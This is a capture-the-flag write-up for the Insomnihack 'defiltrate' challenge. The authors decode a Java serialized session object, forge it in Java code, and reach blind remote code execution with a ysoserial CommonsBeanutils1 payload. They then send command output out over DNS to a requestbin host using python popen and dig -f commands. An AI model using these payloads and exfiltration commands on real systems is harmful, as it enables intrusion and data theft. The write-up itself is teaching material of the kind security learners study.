Our company has been victim of a Ransomeware that damaged our "Secure share" website. Access to "Secure share" has been partially restored and traces of the malware have been deposited on it.

Can you help us retrieve our files?

http://defiltrate.insomnihack.ch/

So as the description shows, our target is to retrieve some files.
Opening the challenge gives us a login page :

Login Page

We tried to understand the behaviour of the login form, Deducted that the username was admin as it gives a different response but we still couldn't get the password.
After messing around a bit with the login form, we were authenticated without even knowing the password. We don't know if this was intended or not but the admin of the challenge stated that

Whilst it may be possible, you should not be trying to log in with the creds. The flag is meant to be obtained otherwise.

The request and the session PINKYID were saved in burp history so if we lost that page we can get back in as that was our only lead for now.

Now, we were presented with what looks like a cloud share for the admin

Admin Share

Clicking on that file malware_activity.pcapng (which most probably contains the network traffic we need to analyze), nothing happens but the following request was sent to the server :

Download Request

Here we can see that the VIEW parameter has a base64 encoded value starting with rO0AB which is the beginning of base64 encoded java serialized object

Java Serialized Object info

First, we tried to view what the object holds, so we used a tool called SerializationDumper.

We got an object containing 4 properties, the first part of the deserialization output contains some information about the object and its properties (type,name,length,..etc), scrolling down the output we can see the values of the properties:

values
    m_b64Payload
    (object)
        TC_STRING - 0x74
        newHandle 0x00 7e 00 03
        Length - 0 - 0x00 00
        Value -  - 0x
    m_login
    (object)
        TC_STRING - 0x74
        newHandle 0x00 7e 00 04
        Length - 5 - 0x00 05
        Value - admin - 0x61646d696e
    m_password
    (object)
        TC_STRING - 0x74
        newHandle 0x00 7e 00 05
        Length - 21 - 0x00 15
        Value - I love pink ponies <3 - 0x49206c6f76652070696e6b20706f6e696573203c33
    m_sessionID
    (object)
        TC_STRING - 0x74
        newHandle 0x00 7e 00 06
        Length - 2 - 0x00 02
        Value - 42 - 0x3432

We now know that the admin's password is I love pink ponies <3, there was a session ID with a value of 42, and an empty property called m_b64Payload
Trying the admin's credentials to login led us back to the login screen with no errors but gave us a new valid session to use.

At this point we had two options, either try to tamper with the data inside the object or try attacking unsafe deserialization assuming the server is using a vulnerable library
So, each of us tried approaching one of these possibilities in parallel.

First thing came in mind with the tampering part was to try changing the session ID value to 0 or 1.

We wrote this code to print the base64 value of the serialized object

import java.io.*;
import java.util.*;

class WebSession implements Serializable {
    String m_b64Payload;
    String m_login;
    String m_password;
    String m_sessionID;
}

public class NewClass {

   public static void main(String [] args) {
      WebSession e = new WebSession();
      e.m_b64Payload = "eW91dHUuYmUvZFF3NHc5V2dYY1E=";
      e.m_login = "admin";
      e.m_password = "I love pink ponies <3";
      e.m_sessionID = "1";

      try {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream( baos );
        oos.writeObject( e );
        oos.close();
        System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
      } catch (IOException i) {
         i.printStackTrace();
      }
   }
}

The output was rO0ABXNyAApXZWJTZXNzaW9uKAE4Y+vl6IMCAARMAAxtX2I2NFBheWxvYWR0ABJMamF2YS9sYW5nL1N0cmluZztMAAdtX2xvZ2lucQB+AAFMAAptX3Bhc3N3b3JkcQB+AAFMAAttX3Nlc3Npb25JRHEAfgABeHB0ABxlVzkxZEhVdVltVXZaRkYzTkhjNVYyZFlZMUU9dAAFYWRtaW50ABVJIGxvdmUgcGluayBwb25pZXMgPDN0AAEx

Which gives an error when sending it to the website due to some bytes being different than the original one given by the website, so we modified these bytes by replacing KAE4Y+vl6IM with AAAAAAAAAAE in the base64 string but nothing happend unfortunately.

On the other end we approached the unsafe deserialization with ysoserial which is

A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

We had no output so for a blind payload we went for DNS in case there is a firewall so our payload was a simple dig to dnsbin, trying multiple libraries with no output until we tried CommonsBeanutils1

java -jar ysoserial.jar CommonsBeanutils1 'dig rce.ef8d2b0eafff5eb0e48f.d.requestbin.net' | base64 -w0

We got a DNS request to our bin, but in fact there was a firewall in place so we couldn't establish an OOB communication in a way other than DNS.

We started trying to execute commands using command substitution as subdomains to our DNS bin like $(whoami) or using back ticks but for some reason they were escaped and sent as is without execution, we tried to use nslookup ourdns.com|bash sending a request to our DNS server with a customized response but the piping in this case didn't work too.

After some trial and error we could leak data using these 2 commands in separate payloads

python -c open('/tmp/exfilterate','w').write(__import__('os').popen('ls').read().replace('\n','-')[:62]+'.6ec8bf6181774bda185e.d.requestbin.net')

and

dig -f /tmp/exfilterate

Note: spaces were not allowed in the python payload for some reason so we replaced it with chr(32)

The first payload runs a python code that executes bash commands and appending the result to a DNS bin domain then writes it to a file. The second one executes a dig on the content of the file.

Executing the following command grep -rnw '/' -e INS

python -c open('/tmp/exfilterate','w').write(__import__('os').popen('grep'+chr(32)+'-rnw'+chr(32)+'/'+chr(32)+'-e'+chr(32)+'INS').read().replace('\n','-')+'.7d62a86d9d50bc553648.d.requestbin.net')

Resulted in a DNS request with the flag

file